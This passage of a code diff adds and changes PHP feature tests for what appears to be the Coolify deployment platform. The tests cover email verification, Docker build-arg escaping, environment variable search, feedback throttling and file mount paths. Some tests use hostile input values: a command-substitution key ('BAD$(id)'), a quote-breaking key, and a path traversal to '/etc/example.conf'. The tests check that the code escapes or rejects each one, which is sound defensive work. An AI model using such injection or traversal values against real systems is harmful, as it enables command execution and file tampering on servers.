+    seedRailpackExamplePrerequisites();
+    $this->seed(DevelopmentRailpackExamplesSeeder::class);
+
+    expect(Project::query()->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)->exists())->toBeFalse();
+    expect(Application::query()->where('uuid', 'railpack-nextjs-ssr')->exists())->toBeFalse();
+
+    foreach (limaServers() as $limaServer) {
+        expect(Project::query()->where('uuid', 'railpack-examples-lima-ubuntu-2404')->exists())->toBeFalse();
+        expect(Project::query()->where('uuid', 'railpack-examples-lima-ubuntu-2604')->exists())->toBeFalse();
+        expect(Application::query()->where('uuid', $limaServer['uuid_prefix'].'railpack-nextjs-ssr')->exists())->toBeFalse();
+    }
+});
+
+it('is idempotent when run multiple times', function () {
+    config()->set('app.env', 'local');
+
+    seedRailpackExamplePrerequisites();
+    $this->seed(DevelopmentRailpackExamplesSeeder::class);
+    $this->seed(DevelopmentRailpackExamplesSeeder::class);
+
+    $project = Project::query()
+        ->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)
+        ->first();
+
+    expect($project)->not->toBeNull();
+    expect($project->applications()->count())->toBe(count(DevelopmentRailpackExamplesSeeder::examples()) * limaServers()->count());
+
+    foreach (limaServers() as $limaServer) {
+        $limaEnvironment = $project->environments()
+            ->where('uuid', $limaServer['environment_uuid'])
+            ->first();
+
+        expect($limaEnvironment)->not->toBeNull();
+        expect($limaEnvironment->applications()->count())->toBe(count(DevelopmentRailpackExamplesSeeder::examples()));
+    }
+});

tests/Feature/EmailVerificationHashTest.php

@@ -0,0 +1,73 @@
+<?php
+
+use App\Http\Middleware\CheckForcePasswordReset;
+use App\Http\Middleware\DecideWhatToDoWithUser;
+use App\Models\InstanceSettings;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\URL;
+use Illuminate\Support\Once;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
+    Once::flush();
+    if (! InstanceSettings::find(0)) {
+        $settings = new InstanceSettings;
+        $settings->id = 0;
+        $settings->saveQuietly();
+    }
+});
+
+describe('email verification hash', function () {
+    test('sha256 hash is accepted and marks the user verified', function () {
+        $user = User::factory()->create([
+            'email' => 'verify-me@example.com',
+            'email_verified_at' => null,
+        ]);
+
+        $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
+            'id' => $user->getKey(),
+            'hash' => hash('sha256', $user->getEmailForVerification()),
+        ]);
+
+        $this->actingAs($user)->get($url)->assertRedirect();
+
+        $user->refresh();
+        expect($user->email_verified_at)->not->toBeNull();
+    });
+
+    test('legacy sha1 hash is rejected', function () {
+        $user = User::factory()->create([
+            'email' => 'legacy-sha1@example.com',
+            'email_verified_at' => null,
+        ]);
+
+        $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
+            'id' => $user->getKey(),
+            'hash' => sha1($user->getEmailForVerification()),
+        ]);
+
+        $this->actingAs($user)->get($url)->assertStatus(403);
+
+        $user->refresh();
+        expect($user->email_verified_at)->toBeNull();
+    });
+
+    test('tampered signature is rejected', function () {
+        $user = User::factory()->create([
+            'email' => 'tampered@example.com',
+            'email_verified_at' => null,
+        ]);
+
+        $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
+            'id' => $user->getKey(),
+            'hash' => hash('sha256', $user->getEmailForVerification()),
+        ]);
+
+        $tampered = $url.'x';
+
+        $this->actingAs($user)->get($tampered)->assertStatus(403);
+    });
+});

tests/Feature/EnvironmentVariable/MultilineEnvironmentVariableTest.php

@@ -9,8 +9,8 @@ test('generateDockerBuildArgs returns only keys without values', function () {
     $buildArgs = generateDockerBuildArgs($variables);
 
     // Docker gets values from the environment, so only keys should be in build args
-    expect($buildArgs->first())->toBe('--build-arg SSH_PRIVATE_KEY');
-    expect($buildArgs->last())->toBe('--build-arg REGULAR_VAR');
+    expect($buildArgs->first())->toBe("--build-arg 'SSH_PRIVATE_KEY'");
+    expect($buildArgs->last())->toBe("--build-arg 'REGULAR_VAR'");
 });
 
 test('generateDockerBuildArgs works with collection of objects', function () {
@@ -22,8 +22,8 @@ test('generateDockerBuildArgs works with collection of objects', function () {
     $buildArgs = generateDockerBuildArgs($variables);
     expect($buildArgs)->toHaveCount(2);
     expect($buildArgs->values()->toArray())->toBe([
-        '--build-arg VAR1',
-        '--build-arg VAR2',
+        "--build-arg 'VAR1'",
+        "--build-arg 'VAR2'",
     ]);
 });
 
@@ -38,7 +38,7 @@ test('generateDockerBuildArgs collection can be imploded into valid command stri
     // The collection must be imploded to a string for command interpolation
     // This was the bug: Collection was interpolated as JSON instead of a space-separated string
     $argsString = $buildArgs->implode(' ');
-    expect($argsString)->toBe('--build-arg COOLIFY_URL --build-arg COOLIFY_BRANCH');
+    expect($argsString)->toBe("--build-arg 'COOLIFY_URL' --build-arg 'COOLIFY_BRANCH'");
 
     // Verify it does NOT produce JSON when cast to string
     expect($argsString)->not->toContain('{');
@@ -53,7 +53,7 @@ test('generateDockerBuildArgs handles variables without is_multiline', function
     $buildArgs = generateDockerBuildArgs($variables);
     $arg = $buildArgs->first();
 
-    expect($arg)->toBe('--build-arg NO_FLAG_VAR');
+    expect($arg)->toBe("--build-arg 'NO_FLAG_VAR'");
 });
 
 test('generateDockerEnvFlags produces correct format', function () {
@@ -81,3 +81,17 @@ test('generateDockerEnvFlags works with collection input', function () {
     expect($envFlags)->toContain('-e VAR1=');
     expect($envFlags)->toContain('-e VAR2="');
 });
+
+test('generateDockerBuildArgs escapes legacy keys', function () {
+    $variables = [
+        ['key' => 'BAD$(id)', 'value' => '1'],
+        ['key' => "BAD'KEY", 'value' => '1'],
+    ];
+
+    $buildArgs = generateDockerBuildArgs($variables);
+
+    expect($buildArgs->values()->toArray())->toBe([
+        "--build-arg 'BAD$(id)'",
+        "--build-arg 'BAD'\''KEY'",
+    ]);
+});

tests/Feature/EnvironmentVariableKeyValidationTest.php

@@ -0,0 +1,39 @@
+<?php
+
+use App\Livewire\Project\Shared\EnvironmentVariable\Add;
+use Livewire\Livewire;
+
+it('rejects environment variable keys Docker cannot represent in the add form', function () {
+    Livewire::test(Add::class)
+        ->set('key', 'BAD=KEY')
+        ->set('value', 'value')
+        ->call('submit')
+        ->assertHasErrors(['key' => 'regex']);
+});
+
+it('allows Docker-compatible environment variable keys in the add form', function (string $key) {
+    Livewire::test(Add::class)
+        ->set('key', $key)
+        ->set('value', 'value')
+        ->call('submit')
+        ->assertHasNoErrors()
+        ->assertDispatched('saveKey', function ($event, array $data) use ($key) {
+            return data_get($data, 'key') === $key || data_get($data, '0.key') === $key;
+        });
+})->with([
+    'starts with digit' => '1BAD',
+    'hyphen' => 'BAD-KEY',
+    'dot' => 'node.name',
+    'uppercase dots' => 'XPACK.SECURITY.ENABLED',
+]);
+
+it('trims surrounding whitespace in environment variable keys in the add form', function () {
+    Livewire::test(Add::class)
+        ->set('key', ' node.name ')
+        ->set('value', 'value')
+        ->call('submit')
+        ->assertHasNoErrors()
+        ->assertDispatched('saveKey', function ($event, array $data) {
+            return data_get($data, 'key') === 'node.name' || data_get($data, '0.key') === 'node.name';
+        });
+});

tests/Feature/EnvironmentVariableMultilineToggleViewTest.php

@@ -0,0 +1,56 @@
+<?php
+
+it('uses Alpine entangle to switch add value field immediately when multiline is enabled', function () {
+    $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/add.blade.php'));
+
+    expect($view)
+        ->toContain('x-data="{ isMultiline: $wire.entangle(\'is_multiline\') }"')
+        ->toContain('<template x-if="isMultiline">')
+        ->toContain('<template x-if="!isMultiline">')
+        ->toContain('x-model="isMultiline"')
+        ->toContain('<x-forms.textarea id="value" label="Value" required class="font-sans" spellcheck />')
+        ->toContain('wire:key="env-value-textarea"')
+        ->toContain('wire:key="env-value-input"');
+});
+
+it('uses distinct keyed branches for the edit value field modes', function () {
+    $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));
+
+    expect($view)
+        ->toContain('wire:key="env-show-value-textarea-{{ $env->id }}"')
+        ->toContain('wire:key="env-show-value-input-{{ $env->id }}"');
+});
+
+it('uses sans font for the developer bulk environment variable editor', function () {
+    $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));
+
+    expect($view)
+        ->toContain('class="whitespace-pre-wrap font-sans"')
+        ->not->toContain('wire:model="variables" monospace')
+        ->not->toContain('wire:model="variablesPreview" monospace');
+});
+
+it('renders the environment variable search field above the production title', function () {
+    $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));
+
+    expect(strpos($view, 'aria-label="Search environment variables"'))
+        ->toBeLessThan(strpos($view, '<h3>Production Environment Variables</h3>'));
+});
+
+it('renders a single no results message for empty environment variable searches', function () {
+    $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));
+
+    expect($view)
+        ->toContain('@if ($this->isSearchActive && ! $this->hasEnvironmentVariables)')
+        ->toContain('<div>No environment variables found.</div>')
+        ->toContain('@else');
+});
+
+it('only renders the production section when production variables are visible', function () {
+    $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));
+
+    expect($view)
+        ->toContain('@if ($this->environmentVariables->isNotEmpty() || $this->hardcodedEnvironmentVariables->isNotEmpty())')
+        ->not->toContain('@forelse ($this->environmentVariables as $env)')
+        ->not->toContain('@empty');
+});

tests/Feature/EnvironmentVariableSearchTest.php

@@ -0,0 +1,271 @@
+<?php
+
+use App\Livewire\Project\Shared\EnvironmentVariable\All;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\EnvironmentVariable;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Service;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::forceCreate(['id' => 0]);
+
+    $this->user = User::factory()->create();
+    $this->team = Team::factory()->create();
+    $this->team->members()->attach($this->user, ['role' => 'owner']);
+    $this->project = Project::factory()->create([
+        'team_id' => $this->team->id,
+    ]);
+    $this->environment = Environment::factory()->create([
+        'project_id' => $this->project->id,
+    ]);
+
+    $this->actingAs($this->user);
+});
+
+it('filters production environment variables by key case-insensitively', function () {
+    $application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'API_KEY',
+        'value' => 'secret',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'DATABASE_URL',
+        'value' => 'postgres://example',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    $component = Livewire::test(All::class, ['resource' => $application])
+        ->set('search', 'api');
+
+    expect($component->instance()->environmentVariables->pluck('key')->all())
+        ->toBe(['API_KEY']);
+});
+
+it('treats production environment variable search underscore wildcards literally', function () {
+    $application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'API_KEY',
+        'value' => 'secret',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'APIXKEY',
+        'value' => 'other-secret',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    $component = Livewire::test(All::class, ['resource' => $application])
+        ->set('search', 'api_key');
+
+    expect($component->instance()->environmentVariables->pluck('key')->all())
+        ->toBe(['API_KEY']);
+});
+
+it('filters preview environment variables by key case-insensitively', function () {
+    $application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'PREVIEW_TOKEN',
+        'value' => 'preview-secret',
+        'is_preview' => true,
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'OTHER_PREVIEW_VALUE',
+        'value' => 'preview-other',
+        'is_preview' => true,
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    $component = Livewire::test(All::class, ['resource' => $application])
+        ->set('search', 'token');
+
+    expect($component->instance()->environmentVariablesPreview->pluck('key')->all())
+        ->toBe(['PREVIEW_TOKEN']);
+});
+
+it('filters hardcoded Docker Compose environment variables by key case-insensitively', function () {
+    $service = Service::factory()->create([
+        'environment_id' => $this->environment->id,
+        'docker_compose_raw' => <<<'YAML'
+services:
+  app:
+    image: nginx
+    environment:
+      API_TOKEN: hardcoded-secret
+      DATABASE_URL: postgres://example
+YAML,
+    ]);
+
+    $component = Livewire::test(All::class, ['resource' => $service])
+        ->set('search', 'api');
+
+    expect($component->instance()->hardcodedEnvironmentVariables->pluck('key')->all())
+        ->toBe(['API_TOKEN']);
+});
+
+it('searches service environment variables without requiring preview variables', function () {
+    $service = Service::factory()->create([
+        'environment_id' => $this->environment->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'API_KEY',
+        'value' => 'secret',
+        'resourceable_type' => Service::class,
+        'resourceable_id' => $service->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'DATABASE_URL',
+        'value' => 'postgres://example',
+        'resourceable_type' => Service::class,
+        'resourceable_id' => $service->id,
+    ]);
+
+    $component = Livewire::test(All::class, ['resource' => $service])
+        ->set('search', 'api')
+        ->assertSee('Production Environment Variables')
+        ->assertDontSee('Preview Deployments Environment Variables');
+
+    expect($component->instance()->environmentVariables->pluck('key')->all())
+        ->toBe(['API_KEY']);
+});
+
+it('does not show the empty production message when search only matches hardcoded variables', function () {
+    $service = Service::factory()->create([
+        'environment_id' => $this->environment->id,
+        'docker_compose_raw' => <<<'YAML'
+services:
+  app:
+    image: nginx
+    environment:
+      API_TOKEN: hardcoded-secret
+      DATABASE_URL: postgres://example
+YAML,
+    ]);
+
+    $component = Livewire::test(All::class, ['resource' => $service])
+        ->set('search', 'api')
+        ->assertSee('Production Environment Variables')
+        ->assertDontSee('No environment variables found.');
+
+    expect($component->instance()->hardcodedEnvironmentVariables->pluck('key')->all())
+        ->toBe(['API_TOKEN']);
+});
+
+it('keeps developer view unfiltered after searching', function () {
+    $application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'API_KEY',
+        'value' => 'secret',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'DATABASE_URL',
+        'value' => 'postgres://example',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    $component = Livewire::test(All::class, ['resource' => $application])
+        ->set('search', 'api')
+        ->call('switch')
+        ->assertSet('view', 'dev');
+
+    expect($component->get('variables'))
+        ->toContain('API_KEY=secret')
+        ->toContain('DATABASE_URL=postgres://example');
+});
+
+it('does not delete non-matching variables when saving developer view after searching', function () {
+    $application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'API_KEY',
+        'value' => 'secret',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'DATABASE_URL',
+        'value' => 'postgres://example',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    Livewire::test(All::class, ['resource' => $application])
+        ->set('search', 'api')
+        ->call('switch')
+        ->call('submit');
+
+    expect($application->environment_variables()->pluck('key')->all())
+        ->toContain('API_KEY')
+        ->toContain('DATABASE_URL');
+});
+
+it('hides the preview section when search filters out all preview variables', function () {
+    $application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+    ]);
+
+    EnvironmentVariable::create([
+        'key' => 'API_KEY',
+        'value' => 'secret',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    $application->environment_variables_preview()->where('key', 'API_KEY')->delete();
+
+    EnvironmentVariable::create([
+        'key' => 'PREVIEW_TOKEN',
+        'value' => 'preview-secret',
+        'is_preview' => true,
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    $component = Livewire::test(All::class, ['resource' => $application])
+        ->set('search', 'api')
+        ->assertSee('Production Environment Variables')
+        ->assertDontSee('Preview Deployments Environment Variables')
+        ->assertDontSee('PREVIEW_TOKEN');
+
+    expect($component->instance()->environmentVariables->pluck('key')->all())
+        ->toBe(['API_KEY']);
+});

tests/Feature/ExecuteContainerCommandTest.php

@@ -1,57 +0,0 @@
-<?php
-
-namespace Tests\Feature;
-
-use App\Models\Application;
-use App\Models\Server;
-use App\Models\User;
-use PHPUnit\Framework\Attributes\Test;
-use Tests\TestCase;
-use Tests\Traits\HandlesTestDatabase;
-
-class ExecuteContainerCommandTest extends TestCase
-{
-    use HandlesTestDatabase;
-
-    private $user;
-
-    private $team;
-
-    private $server;
-
-    private $application;
-
-    protected function setUp(): void
-    {
-        parent::setUp();
-
-        // Only set up database for tests that need it
-        if ($this->shouldSetUpDatabase()) {
-            $this->setUpTestDatabase();
-        }
-        // Create test data
-        $this->user = User::factory()->create();
-        $this->team = $this->user->teams()->first();
-        $this->server = Server::factory()->create(['team_id' => $this->team->id]);
-        $this->application = Application::factory()->create();
-
-        // Login the user
-        $this->actingAs($this->user);
-    }
-
-    protected function tearDown(): void
-    {
-        if ($this->shouldSetUpDatabase()) {
-            $this->tearDownTestDatabase();
-        }
-        parent::tearDown();
-    }
-
-    private function shouldSetUpDatabase(): bool
-    {
-        return in_array($this->name(), [
-            'it_allows_valid_container_access',
-            'it_prevents_cross_server_container_access',
-        ]);
-    }
-}

tests/Feature/FeedbackEndpointTest.php

@@ -0,0 +1,96 @@
+<?php
+
+use Illuminate\Support\Facades\Http;
+
+beforeEach(function () {
+    Http::fake([
+        'discord.com/*' => Http::response([], 204),
+    ]);
+});
+
+it('rejects feedback with missing content', function () {
+    $response = $this->postJson('/api/feedback', []);
+
+    $response->assertStatus(422)
+        ->assertJsonValidationErrors('content');
+});
+
+it('rejects feedback with content too short', function () {
+    $response = $this->postJson('/api/feedback', ['content' => 'short']);
+
+    $response->assertStatus(422)
+        ->assertJsonValidationErrors('content');
+});
+
+it('rejects feedback with content too long', function () {
+    $response = $this->postJson('/api/feedback', ['content' => str_repeat('a', 2001)]);
+
+    $response->assertStatus(422)
+        ->assertJsonValidationErrors('content');
+});
+
+it('rejects feedback with non-string content', function () {
+    $response = $this->postJson('/api/feedback', ['content' => ['array', 'value']]);
+
+    $response->assertStatus(422)
+        ->assertJsonValidationErrors('content');
+});
+
+it('accepts valid feedback and forwards to discord with mentions disabled', function () {
+    config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test');
+
+    $response = $this->postJson('/api/feedback', [
+        'content' => 'This is a valid feedback message for testing purposes.',
+    ]);
+
+    $response->assertStatus(200)
+        ->assertJson(['message' => 'Feedback sent.']);
+
+    Http::assertSent(function ($request) {
+        return $request->url() === 'https://discord.com/api/webhooks/test'
+            && $request['content'] === 'This is a valid feedback message for testing purposes.'
+            && $request['allowed_mentions'] === ['parse' => []];
+    });
+});
+
+it('does not forward to discord when webhook url is not configured', function () {
+    config()->set('constants.webhooks.feedback_discord_webhook', null);
+
+    $response = $this->postJson('/api/feedback', [
+        'content' => 'This is a valid feedback message for testing purposes.',
+    ]);
+
+    $response->assertStatus(200);
+
+    Http::assertNothingSent();
+});
+
+it('throttles feedback endpoint after 3 requests per minute', function () {
+    config()->set('constants.webhooks.feedback_discord_webhook', null);
+
+    for ($i = 0; $i < 3; $i++) {
+        $response = $this->postJson('/api/feedback', [
+            'content' => "Valid feedback message number {$i} for testing.",
+        ]);
+        $response->assertStatus(200);
+    }
+
+    $response = $this->postJson('/api/feedback', [
+        'content' => 'This fourth request should be throttled.',
+    ]);
+    $response->assertStatus(429);
+});
+
+it('disables discord mention parsing regardless of content', function () {
+    config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test');
+
+    $response = $this->postJson('/api/feedback', [
+        'content' => 'User feedback includes an @everyone style phrase and a link https://example.com for reference.',
+    ]);
+
+    $response->assertStatus(200);
+
+    Http::assertSent(function ($request) {
+        return $request['allowed_mentions'] === ['parse' => []];
+    });
+});

tests/Feature/FileStorageMountPathTest.php

@@ -0,0 +1,123 @@
+<?php
+
+use App\Jobs\ServerStorageSaveJob;
+use App\Livewire\Project\Service\Storage;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\LocalFileVolume;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Bus;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    config(['app.maintenance.store' => 'array', 'cache.default' => 'array']);
+    Bus::fake();
+    InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0], ['id' => 0]));
+
+    $this->team = Team::factory()->create();
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first()
+        ?? Environment::factory()->create(['project_id' => $this->project->id]);
+
+    $this->application = Application::factory()->create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test App',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+});
+
+test('livewire file storage rejects parent segments and does not create a local file volume', function () {
+    Livewire::test(Storage::class, ['resource' => $this->application])
+        ->set('file_storage_path', '/../../../../../../etc/example.conf')
+        ->set('file_storage_content', 'owned')
+        ->call('submitFileStorage')
+        ->assertDispatched('error');
+
+    expect(LocalFileVolume::query()->count())->toBe(0);
+});
+
+test('file mount modal shows the calculated host file path above the destination input', function () {
+    Livewire::test(Storage::class, ['resource' => $this->application])
+        ->assertSeeText('This file will be created on the host, then mounted into the container.')
+        ->assertSeeText('Host file path')
+        ->assertSeeText($this->application->workdir().'/')
+        ->set('file_storage_path', '/etc/nginx/nginx.conf')
+        ->assertSeeText($this->application->workdir().'/etc/nginx/nginx.conf')
+        ->assertDontSeeText('Actual file mounted from the host system to the container.');
+});
+
+test('livewire file storage stores safe file mounts under the application configuration root', function () {
+    Livewire::test(Storage::class, ['resource' => $this->application])
+        ->set('file_storage_path', '/etc/nginx/nginx.conf')
+        ->set('file_storage_content', 'server {}')
+        ->call('submitFileStorage')
+        ->assertDispatched('success');
+
+    $volume = LocalFileVolume::query()->sole();
+
+    expect($volume->mount_path)->toBe('/etc/nginx/nginx.conf')
+        ->and($volume->fs_path)->toBe(application_configuration_dir().'/'.$this->application->uuid.'/etc/nginx/nginx.conf')
+        ->and($volume->is_directory)->toBeFalse();
+});
+
+test('livewire host file storage stores an existing host file path without managed content', function () {
+    Livewire::test(Storage::class, ['resource' => $this->application])
+        ->set('host_file_storage_source', '/etc/nginx/nginx.conf')
+        ->set('host_file_storage_destination', '/etc/nginx/nginx.conf')
+        ->call('submitHostFileStorage')
+        ->assertDispatched('success');
+
+    $volume = LocalFileVolume::query()->sole();
+
+    expect($volume->fs_path)->toBe('/etc/nginx/nginx.conf')
+        ->and($volume->mount_path)->toBe('/etc/nginx/nginx.conf')
+        ->and($volume->content)->toBeNull()
+        ->and($volume->is_host_file)->toBeTrue()
+        ->and($volume->is_directory)->toBeFalse();
+
+    Bus::assertNotDispatched(ServerStorageSaveJob::class);
+});

tests/Feature/FileStorageParserStateTest.php

@@ -0,0 +1,171 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\LocalFileVolume;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\ServiceApplication;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Bus;
+
+uses(RefreshDatabase::class);
+
+const TWO_FILE_COMPOSE = <<<'YAML'
+services:
+  app:
+    image: nginx:latest
+    volumes:
+      - ./wg_config.conf:/app/ps/wg0.conf
+      - ./override_trays.json:/app/ps/override_tray.json
+YAML;
+
+const DATA_DIR_COMPOSE = <<<'YAML'
+services:
+  app:
+    image: nginx:latest
+    volumes:
+      - ./data:/app/data
+YAML;
+
+beforeEach(function () {
+    Bus::fake();
+
+    $team = Team::factory()->create();
+    $server = Server::factory()->create(['team_id' => $team->id]);
+    $destination = StandaloneDocker::where('server_id', $server->id)->first();
+    $project = Project::factory()->create(['team_id' => $team->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+    $this->destination = $destination;
+    $this->environment = $environment;
+});
+
+function makeComposeApplication(string $dockerComposeRaw): Application
+{
+    return Application::factory()->create([
+        'environment_id' => test()->environment->id,
+        'destination_id' => test()->destination->id,
+        'destination_type' => test()->destination->getMorphClass(),
+        'build_pack' => 'dockercompose',
+        'docker_compose_raw' => $dockerComposeRaw,
+    ]);
+}
+
+/**
+ * @return array{0: Service, 1: ServiceApplication}
+ */
+function makeComposeService(string $dockerComposeRaw): array
+{
+    $service = Service::factory()->create([
+        'environment_id' => test()->environment->id,
+        'server_id' => test()->destination->server_id,
+        'destination_id' => test()->destination->id,
+        'destination_type' => test()->destination->getMorphClass(),
+        'docker_compose_raw' => $dockerComposeRaw,
+    ]);
+
+    $serviceApplication = ServiceApplication::create([
+        'name' => 'app',
+        'service_id' => $service->id,
+    ]);
+
+    return [$service, $serviceApplication];
+}
+
+function seedFileVolume($resource, string $baseDir, string $fileName, string $mountPath, string $content): void
+{
+    LocalFileVolume::create([
+        'fs_path' => "{$baseDir}/{$fileName}",
+        'mount_path' => $mountPath,
+        'content' => $content,
+        'is_directory' => false,
+        'resource_id' => $resource->id,
+        'resource_type' => $resource->getMorphClass(),
+    ]);
+}
+
+it('preserves existing application file volume content when reparsing compose bind mounts', function () {
+    $application = makeComposeApplication(TWO_FILE_COMPOSE);
+    $baseDir = application_configuration_dir()."/{$application->uuid}";
+
+    seedFileVolume($application, $baseDir, 'wg_config.conf', '/app/ps/wg0.conf', 'test-conf');
+    seedFileVolume($application, $baseDir, 'override_trays.json', '/app/ps/override_tray.json', '0');
+
+    applicationParser($application);
+
+    $fileVolume = $application->fileStorages()->where('mount_path', '/app/ps/override_tray.json')->first();
+
+    expect($fileVolume->content)->toBe('0')
+        ->and($fileVolume->is_directory)->toBeFalse();
+});
+
+it('keeps existing application file volumes as files when content is empty', function () {
+    $application = makeComposeApplication(TWO_FILE_COMPOSE);
+    $baseDir = application_configuration_dir()."/{$application->uuid}";
+
+    seedFileVolume($application, $baseDir, 'wg_config.conf', '/app/ps/wg0.conf', 'test-conf');
+    seedFileVolume($application, $baseDir, 'override_trays.json', '/app/ps/override_tray.json', '');
+
+    applicationParser($application);
+
+    $fileVolume = $application->fileStorages()->where('mount_path', '/app/ps/override_tray.json')->first();
+
+    expect($fileVolume->content)->toBe('')
+        ->and($fileVolume->is_directory)->toBeFalse();
+});
+
+it('defaults new application bind mounts to directories', function () {
+    $application = makeComposeApplication(DATA_DIR_COMPOSE);
+
+    applicationParser($application);
+
+    $fileVolume = $application->fileStorages()->where('mount_path', '/app/data')->first();
+
+    expect($fileVolume->content)->toBeNull()
+        ->and($fileVolume->is_directory)->toBeTrue();
+});
+
+it('preserves existing service file volume content when reparsing compose bind mounts', function () {
+    [$service, $serviceApplication] = makeComposeService(TWO_FILE_COMPOSE);
+    $baseDir = service_configuration_dir()."/{$service->uuid}";
+
+    seedFileVolume($serviceApplication, $baseDir, 'wg_config.conf', '/app/ps/wg0.conf', 'test-conf');
+    seedFileVolume($serviceApplication, $baseDir, 'override_trays.json', '/app/ps/override_tray.json', '0');
+
+    serviceParser($service);
+
+    $fileVolume = $serviceApplication->fileStorages()->where('mount_path', '/app/ps/override_tray.json')->first();
+
+    expect($fileVolume->content)->toBe('0')
+        ->and($fileVolume->is_directory)->toBeFalse();
+});
+
+it('keeps existing service file volumes as files when content is empty', function () {
+    [$service, $serviceApplication] = makeComposeService(TWO_FILE_COMPOSE);
+    $baseDir = service_configuration_dir()."/{$service->uuid}";
+
+    seedFileVolume($serviceApplication, $baseDir, 'wg_config.conf', '/app/ps/wg0.conf', 'test-conf');
+    seedFileVolume($serviceApplication, $baseDir, 'override_trays.json', '/app/ps/override_tray.json', '');
+
+    serviceParser($service);
+
+    $fileVolume = $serviceApplication->fileStorages()->where('mount_path', '/app/ps/override_tray.json')->first();
+
+    expect($fileVolume->content)->toBe('')
+        ->and($fileVolume->is_directory)->toBeFalse();
+});
+
+it('defaults new service bind mounts to directories', function () {
+    [$service, $serviceApplication] = makeComposeService(DATA_DIR_COMPOSE);
+
+    serviceParser($service);
+
